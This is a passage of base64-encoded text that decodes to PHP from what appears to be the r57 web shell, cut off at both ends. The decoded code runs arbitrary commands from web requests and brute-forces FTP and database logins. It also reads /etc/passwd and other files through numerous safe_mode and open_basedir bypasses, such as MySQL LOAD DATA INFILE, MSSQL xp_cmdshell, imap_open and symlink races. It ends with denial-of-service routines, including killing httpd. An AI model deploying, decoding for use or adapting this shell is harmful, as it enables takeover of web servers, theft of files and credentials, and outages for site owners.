JyKDMpOyB9CiBlbHNlCiAgewogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9CiAgZWxzZQogICB7CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpICAgeyBAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIH0KICB9CiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsKICRfUE9TVFsnY21kJ10gPSAiIjsKIH0KCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKSB8fCAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikpKQogewogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpewogIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsKICBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9CiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiB9ZWxzZSBpZigkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKXsKICAgJGNvbm5lY3Rpb24gPSAxOwogfQogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCRfUE9TVFsnZGljdGlvbmFyeSddKSkpeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj5DYW5cJ3QgZ2V0IHBhc3N3b3JkIGxpc3Q8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpe0BmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO30KIH0KCmVjaG8gJHRhYmxlX3VwMzsKaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICEkc2FmZV9tb2RlICYmICEkb3Blbl9iYXNlZGlyKSB7ICRfUE9TVFsnY21kJ109KCEkdW5peCk/KCJkaXIiKTooImxzIC1saWEiKTsgfQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9CmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsKaWYoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKQp7CiBzd2l0Y2goJF9QT1NUWydjbWQnXSkKIHsKIGNhc2UgJ3NhZmVfZGlyJzoKICAkZD1AZGlyKCRkaXIpOwogIGlmICgkZCkKICAgewogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpCiAgICB7CiAgICAgaWYgKCRmaWxlPT0iLiIgfHwgJGZpbGU9PSIuLiIpIGNvbnRpbnVlOwogICAgIEBjbGVhcnN0YXRjYWNoZSgpOwogICAgIEBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsKICAgICBpZighJHVuaXgpewogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppIiwkbXRpbWUpOwogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOwogICAgIH0KICAgICBlbHNlewogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpewogICAgICAkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7CiAgICAgICRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsKICAgICB9ZWxzZXskb3duZXJbJ25hbWUnXT0kZ3JnaWRbJ25hbWUnXT0nJzt9CiAgICAgZWNobyAkaW5vZGUuIiAiOwogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOwogICAgIEBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7CiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOwogICAgIH0KICAgICBlY2hvICIkZmlsZVxuIjsKICAgIH0KICAgJGQtPmNsb3NlKCk7CiAgIH0KICBlbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2dsb2InKSkKICAgewogICAgICAgZnVuY3Rpb24gZWgoJGVycm5vLCAkZXJyc3RyLCAkZXJyZmlsZSwgJGVycmxpbmUpCiAgICAgICAgewogICAgICAgICAgZ2xvYmFsICRELCAkYywgJGk7CiAgICAgICAgICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3RcLi4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBieSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsKICAgICAgICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fQogICAgICAgIH0KICAgICAgICRlcnJvcl9yZXBvcnRpbmcgPSBAaW5pX2dldCgnZXJyb3JfcmVwb3J0aW5nJyk7CiAgICAgICBlcnJvcl9yZXBvcnRpbmcoRV9XQVJOSU5HKTsKICAgICAgIEBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDEpOwogICAgICAgJHJvb3QgPSAiLyI7CiAgICAgICBpZigkZGlyKSAkcm9vdCA9ICRkaXI7CiAgICAgICAkYyA9IDA7ICREID0gYXJyYXkoKTsKICAgICAgIEBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsKICAgICAgICRjaGFycyA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOwogICAgICAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaGFycyk7ICRpKyspCiAgICAgICB7CiAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19IjsKICAgICAgICAkcHJldkQgPSAkRFtjb3VudCgkRCktMV07CiAgICAgICAgQGdsb2IoJHBhdGguIioiKTsKICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKQogICAgICAgICB7CiAgICAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspCiAgICAgICAgICAgewogICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOwogICAgICAgICAgICAkcHJldkQyID0gJERbY291bnQoJEQpLTFdOwogICAgICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOwogICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMikKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKykKICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19IjsKICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07CiAgICAgICAgICAgICAgICBAZ2xvYigkcGF0aC4iKiIpOwogICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpCiAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKykKICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX17JGNoYXJzWyRyXX0iOwogICAgICAgICAgICAgICAgICAgIEBnbG9iKCRwYXRoLiIqIik7CiAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICB9CiAgICAgICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7CiAgICAgICBmb3JlYWNoKCREIGFzICRpdGVtKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoInskaXRlbX0iKS4iXHJcbiI7CiAgICAgICBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7CiAgIH0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI5J107CiBicmVhazsKICBjYXNlICd0ZXN0MSc6CiAgJGNpID0gQGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10pOwogICRjZiA9IEBjdXJsX2V4ZWMoJGNpKTsKICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNmKTsKICBicmVhazsKICBjYXNlICd0ZXN0Mic6CiAgQGluY2x1ZGUoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QzJzoKICBpZihlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSkpIHsgJF9QT1NUWyd0ZXN0M19wb3J0J10gPSAiMzMwNiI7IH0KICAkZGIgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7CiAgaWYoJGRiKQogICB7CiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0M19tZCddLCRkYikpCiAgICB7CiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX3I1N190YWJsZSIpOwogICAgIEBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0ZW1wX3I1N190YWJsZWAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOwogICAgIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuJF9QT1NUWyd0ZXN0M19maWxlJ10uIlwiIElOVE8gVEFCTEUgdGVtcF9yNTdfdGFibGUiKTsKICAgICAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0ZW1wX3I1N190YWJsZSIpOwogICAgIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSkuIlxyXG4iOyB9CiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX3I1N190YWJsZSIpOwogICAgfQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7CiAgIEBteXNxbF9jbG9zZSgkZGIpOwogICB9CiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gbXlzcWwgc2VydmVyIjsKICBicmVhazsKICBjYXNlICd0ZXN0NCc6CiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9CiAgJGRiID0gQG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsndGVzdDRfcG9ydCddLCRfUE9TVFsndGVzdDRfbWwnXSwkX1BPU1RbJ3Rlc3Q0X21wJ10pOwogIGlmKCRkYikKICAgewogICBpZihAbXNzcWxfc2VsZWN0X2RiKCRfUE9TVFsndGVzdDRfbWQnXSwkZGIpKQogICAgewogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsKICAgICBAbXNzcWxfcXVlcnkoImNyZWF0ZSB0YWJsZSByNTdfdGVtcF90YWJsZSAoIHN0cmluZyBWQVJDSEFSICg1MDApIE5VTEwpIiwkZGIpOwogICAgIEBtc3NxbF9xdWVyeSgiaW5zZXJ0IGludG8gcjU3X3RlbXBfdGFibGUgRVhFQyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICciLiRfUE9TVFsndGVzdDRfZmlsZSddLiInIiwkZGIpOwogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsKICAgICB3aGlsZSgoJHJvdz1AbXNzcWxfZmV0Y2hfcm93KCRyZXMpKSkKICAgICAgewogICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlxyXG4iOwogICAgICB9CiAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7CiAgICB9CiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsKICAgQG1zc3FsX2Nsb3NlKCRkYik7CiAgIH0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBNU1NRTCBzZXJ2ZXIiOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q1JzoKICAkdGVtcD10ZW1wbmFtKCRkaXIsICJmbmFtZSIpOwogIGlmIChAZmlsZV9leGlzdHMoJHRlbXApKSBAdW5saW5rKCR0ZW1wKTsKICAkZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YICR0ZW1wIjsKICBAbWJfc2VuZF9tYWlsKE5VTEwsIE5VTEwsIE5VTEwsIE5VTEwsICRleHRyYSk7CiAgJHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsKICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7CiAgQHVubGluaygkdGVtcCk7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDYnOgogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcsICIiLCAiIik7CiAgJGRpcl9saXN0ID0gQGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRfUE9TVFsndGVzdDZfZmlsZSddKSwgIioiKTsKICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRpcl9saXN0WyRpXSkuIlxyXG4iOwogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q3JzoKICAkc3RyZWFtID0gQGltYXBfb3BlbigkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSwgIiIsICIiKTsKICAkc3RyID0gQGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7CiAgQGltYXBfY2xvc2UoJHN0cmVhbSk7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDgnOgogICR0ZW1wPUB0ZW1wbmFtKCRfUE9TVFsndGVzdDhfZmlsZTInXSwgImNvcHl0ZW1wIik7CiAgJHN0ciA9IHJlYWR6bGliKCRfUE9TVFsndGVzdDhfZmlsZTEnXSwkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIEB1bmxpbmsoJHRlbXApOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q5JzoKICBAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwogIEBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CiAgJHN0ciA9IG1vcmVyZWFkKCRfUE9TVFsndGVzdDlfZmlsZSddKTsKICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDEwJzoKICBAb2JfY2xlYW4oKTsKICAkZXJyb3JfcmVwb3J0aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOwogIGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsKICBAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAxKTsKICAkc3RyPWZvcGVuKCRfUE9TVFsndGVzdDEwX2ZpbGUnXSwiciIpOwogIHdoaWxlKCFmZW9mKCRzdHIpKXtwcmludCBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRzdHIpKTt9CiAgZmNsb3NlKCRzdHIpOwogIGVycm9yX3JlcG9ydGluZygkZXJyb3JfcmVwb3J0aW5nKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTEnOgogIEBvYl9jbGVhbigpOwogICR0ZW1wID0gJ3ppcDovLycuJF9QT1NUWyd0ZXN0MTFfZmlsZSddOwogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxMic6CiAgQG9iX2NsZWFuKCk7CiAgJHRlbXAgPSAnY29tcHJlc3MuYnppcDI6Ly8nLiRfUE9TVFsndGVzdDEyX2ZpbGUnXTsKICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTMnOgogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSwgMywgInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk7CiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTQnOgogIEBzZXNzaW9uX3NhdmVfcGF0aCgkX1BPU1RbJ3Rlc3QxNF9maWxlMiddLiJcMDsvdG1wIik7CiAgQHNlc3Npb25fc3RhcnQoKTsKICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MTRfZmlsZTEnXTsKICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxNSc6CiAgQHJlYWRmaWxlKCRfUE9TVFsndGVzdDE1X2ZpbGUxJ10sIDMsICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pOwogIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107CiAgYnJlYWs7CiAgY2FzZSAndGVzdDE2JzoKICBpZiAoZm9wZW4oJ3NycGF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTZfZmlsZSddLCJhIikpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107CiAgYnJlYWs7CiAgY2FzZSAndGVzdDE3XzEnOgogIEB1bmxpbmsoJ3N5bWxpbmtyZWFkJyk7CiAgQHN5bWxpbmsoJ2EvYS9hL2EvYS9hLycsICdkdW1teScpOwogIEBzeW1saW5rKCdkdW1teS8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8nLiRfUE9TVFsndGVzdDE3X2ZpbGUnXSwgJ3N5bWxpbmtyZWFkJyk7CiAgQHVubGluaygnZHVtbXknKTsKICB3aGlsZSAoMSkKICAgewogICAgQHN5bWxpbmsoJy4nLCAnZHVtbXknKTsKICAgIEB1bmxpbmsoJ2R1bW15Jyk7CiAgIH0KICBicmVhazsKICBjYXNlICd0ZXN0MTdfMic6CiAgJHN0cj0nJzsKICB3aGlsZSAoc3RybGVuKCRzdHIpIDwgMykgewogICAkdGVtcCA9ICdzeW1saW5rcmVhZCc7CiAgICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgIGlmKCRzdHIpeyBAb2JfY2xlYW4oKTsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpO30KICB9CiAgYnJlYWs7CiAgY2FzZSAndGVzdDE3XzMnOgogICRkaXIgPSAkZmlsZXMgPSBhcnJheSgpOwogIGlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4wLjAiKT49MCl7CiAgIHdoaWxlIChAY291bnQoJGRpcikgPCAzKSB7CiAgICAkZGlyPUBzY2FuZGlyKCdzeW1saW5rcmVhZCcpOwogICAgaWYgKEBjb3VudCgkZGlyKSA+IDIpIHtAb2JfY2xlYW4oKTsgQHByaW50X3IoJGRpcik7IH0KICAgfQogIH0KICBlbHNlIHsKICAgd2hpbGUgKEBjb3VudCgkZmlsZXMpIDwgMykgewogICAgJGRoICA9IEBvcGVuZGlyKCdzeW1saW5rcmVhZCcpOwogICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGRoKSkpIHsKICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgIH0KICAgIGlmKEBjb3VudCgkZmlsZXMpID4gMil7QG9iX2NsZWFuKCk7IEBwcmludF9yKCRmaWxlcyk7IH0KICAgfQogIH0KICBicmVhazsKIH0KfQppZigoISRzYWZlX21vZGUpICYmICgkX1BPU1RbJ2NtZCddIT0icGhwX2V2YWwiKSAmJiAoJF9QT1NUWydjbWQnXSE9Im15c3FsX2R1bXAiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikgJiYgKCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImRiX2JydXRlIikpewogJGNtZF9yZXAgPSBleCgkX1BPU1RbJ2NtZCddKTsKIGlmKCEkdW5peCkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7IH0KIGVsc2UgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRjbWRfcmVwKS4iXG4iOyB9fQoKc3dpdGNoKCRfUE9TVFsnY21kJ10pCnsKIGNhc2UgJ2RvczEnOgogZnVuY3Rpb24gYSgpIHsgYSgpOyB9IGEoKTsKIGJyZWFrOwogY2FzZSAnZG9zMic6CiBAcGFjaygiZDQyOTQ5NjcyOTciLCAyKTsKIGJyZWFrOwogY2FzZSAnZG9zMyc6CiAkYSA9ICJhIjtAdW5zZXJpYWxpemUoQHN0cl9yZXBsYWNlKCcxJywgMjE0NzQ4MzY0NywgQHNlcmlhbGl6ZSgkYSkpKTsKIGJyZWFrOwogY2FzZSAnZG9zNCc6CiAkdCA9IGFycmF5KDEpO3doaWxlICgxKSB7JGFbXSA9ICYkdDt9OwogYnJlYWs7CiBjYXNlICdkb3M1JzoKIEBkbCgic3FsaXRlLnNvIik7JGRiID0gbmV3IFNxbGl0ZURhdGFiYXNlKCJmb28iKTsKIGJyZWFrOwogY2FzZSAnZG9zNic6CiBwcmVnX21hdGNoKCcvKC4oPyFiKSkqLycsIEBzdHJfcmVwZWF0KCJhIiwgMTAwMDApKTsKIGJyZWFrOwogY2FzZSAnZG9zNyc6CiBAc3RyX3JlcGxhY2UoIkEiLCBzdHJfcmVwZWF0KCJCIiwgNjU1MzUpLCBzdHJfcmVwZWF0KCJBIiwgNjU1MzgpKTsKIGJyZWFrOwogY2FzZSAnZG9zOCc6CiBAc2hlbGxfZXhlYygia2lsbGFsbCAtMTEgaHR0cGQiKTsKIGJyZWFrOwogY2FzZSAnZG9zOSc6CiBmdW5jdGlvbiBjeCgpeyBAdGVtcG5hbSgiL3d3dy8iLCAiLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3RtcC9jeCIpOyBjeCgpOyB9IGN4KCk7CiBicmVhazsKIGNhc2UgJ2RvczEwJzoKICRhID0gQHN0cl9yZXBlYXQgKCJBIiw0MzgwMTMpOyRiID0gQHN0cl9yZXBlYXQgKCJCIiw5NTExNDApO0B3b3Jkd3JhcCAoJGEsMCwkYiwwKTsKIGJyZWFrOwogY2FzZSAnZG9zMTEnOgogQGFycmF5X2ZpbGwoMSwxMjM0NTY3ODksIkluZmlnby1JUyIpOwogYnJlYWs7CiBjYXNlICdkb3MxMic6CiBAc3Vic3RyX2NvbXBhcmUoIkEiLCJBIiwxMjM0NTY3OCk7CiBicmVhazsKIGNhc2UgJ2RvczEzJzoKIEB1bnNlcmlhbGl6ZSgiYToyMTQ3NDgzNjQ5OnsiKTsKIGJyZWFrOwogY2FzZSAnZG9zMTQnOgogJERhdGEgPSBAc3RyX2lyZXBsYWNlKCJcbiIsICI8YnI+IiwgJERhdGEpOwogYnJlYWs7CiBjYXNlICdkb3MxNSc6CiBmdW5jdGlvbiB0b1VURigkeCkge3JldHVybiBjaHIoKCR4ID4+IDYpICsgMTkyKSAuIGNocigoJHggJiA2MykgKyAxMjgpO30KICRzdHIxID0gIiI7Zm9yKCRpPTA7ICRpIDwgNjQ7ICRpKyspeyAkc3RyMSAuPSB0b1VURig5NzcpO30KIEBodG1sZW50aXRpZXMoJHN0cjEsIEVOVF9OT1FVT1RFUywgIlVURi04Iik7CiBicmVhazsKIGNhc2UgJ2RvczE2JzoKICRyID0gQHppcF9vcGVuKCJ4LnppcCIpOyRlID0gQHppcF9yZWFkKCRyKTskeCA9IEB6aXBfZW50cnlfb3BlbigkciwgJGUpOwogZm9yICgkaT0wOyAkaTwxMDAwOyAkaSsrKSAkYXJyWyRpXT1hcnJheShhcnJheSgiIikpOwogdW5zZXQoJGFycls2MDBdKTtAemlwX2VudHJ5X3JlYWQoJGUsIC0xKTt1bnNldCgkYXJyWzYwMV0pOwogYnJlYWs7CiBjYXNlICdkb3MxNyc6CiAkeiA9ICJVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV